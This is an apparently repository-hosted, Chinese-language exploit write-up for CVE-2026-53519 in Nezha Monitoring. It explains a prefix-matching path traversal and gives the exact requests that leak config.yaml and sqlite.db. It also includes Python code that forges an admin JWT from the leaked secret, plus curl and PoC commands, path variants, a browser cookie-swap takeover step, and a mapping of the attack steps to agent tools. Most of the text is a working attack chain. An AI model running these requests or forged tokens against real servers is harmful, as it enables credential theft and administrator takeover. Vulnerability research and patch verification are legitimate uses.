Skip to content

Nezha Monitoring:路径遍历 + JWT 伪造管理员接管(CVE-2026-53519) ​

1. 受影响版本 ​

Nezha Monitoring(哪吒监控)< 2.0.13。默认端口 8008。GHSA: GHSA-5c25-7vpj-9mqh。CVSS 3.1: 9.1 CRITICAL。

2. 根因:前缀匹配非路径段匹配 + HS256 密钥泄露 ​

go
// 有漏洞:字符串前缀匹配,非路径段匹配
if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
    stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
    localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
}

三层绕过 ​

第一层:/dashboard../ 通过前缀检查

/dashboard../data/config.yaml 以 /dashboard 开头 → 通过 HasPrefix。

第二层:TrimPrefix 制造真正的 ..

text
TrimPrefix("/dashboard../data/config.yaml", "/dashboard")
    → "../data/config.yaml"
path.Join("admin-dist", "../data/config.yaml")
    → data/config.yaml

第三层:Go 标准库 traversal guard 不拦截

/dashboard../data/config.yaml 第一个 URL 段是 dashboard..,不是独立的 .. → http.ServeFile 的 traversal guard 不触发。

认证体系直接失效 ​

Nezha 使用 HS256 签名 JWT。拿到 jwt_secret_key 后可直接伪造管理员 token:

python
import hmac, hashlib, base64, json, time

secret = "leaked_jwt_secret_key"
now = int(time.time())

header = base64.b64encode(b'{"alg":"HS256","typ":"JWT"}').decode()
payload = base64.b64encode(
    json.dumps({"user_id": 1, "ip": "", "exp": now + 3600, "orig_iat": now}).encode()
).decode()
signature = base64.b64encode(
    hmac.new(secret.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest()
).decode()
token = f"{header}.{payload}.{signature}"

3. 完整攻击链 ​

GET /dashboard%2e%2e/data/config.yaml
    → 泄露 jwt_secret_key
    ↓
GET /dashboard%2e%2e/data/sqlite.db
    → 获取管理员 user_id
    ↓
使用泄露密钥伪造 HS256 JWT
    ↓
携带伪造 token 访问 /api/v1/profile
    → 管理员接管成功
    ↓
可进一步控制 agent 节点与监控配置

4. 可读取的敏感文件 ​

文件默认路径风险
config.yamldata/config.yamljwt_secret_key、agent_secret_key、OAuth2 凭据
sqlite.dbdata/sqlite.db用户表、管理员 ID、API token、服务器注册信息

5. 复现 ​

bash
# 手动 curl 验证
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml'
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/sqlite.db'

# 使用本仓库 PoC
cd "CVE-2026-53519 Nezha Monitoring/exploit"
python3 CVE-2026-53519.py http://127.0.0.1:8008

# 直接传入已知密钥和 user_id
python3 CVE-2026-53519.py http://127.0.0.1:8008 <jwt_secret> <user_id>

浏览器接管 ​

伪造 JWT 后,在浏览器开发者工具中替换 Cookie nz-jwt 的值,刷新页面即可进入管理面板。

6. 路径变体 ​

text
/dashboard../data/config.yaml
/dashboard%2e%2e/data/config.yaml
/dashboard..%2fdata/config.yaml

Evidence ​

记录: 路径遍历请求/响应、泄露的 jwt_secret_key、伪造的 JWT、/api/v1/profile 响应

MCP 工具映射 ​

攻击步骤MCP 工具说明
知识检索kb_router按 Nezha / 路径遍历 / JWT 伪造信号搜索
HTTP 探测http_probe验证路径遍历和 JWT 伪造
写分析笔记workspace_write_text记录泄露的凭据和管理员 ID

参考资料 ​

来源链接
GitHub Advisoryhttps://github.com/nezhahq/nezha/security/advisories/GHSA-5c25-7vpj-9mqh
上游 PoChttps://github.com/tar-xz/CVE-2026-53519-PoC
阿里云 AVDhttps://avd.aliyun.com/detail?id=AVD-2026-53519
poc-lab 源https://github.com/Unclecheng-li/poc-lab/tree/main/CVE-2026-53519 Nezha Monitoring

GPL-3.0 · 仅供授权环境下的学习与防御性研究使用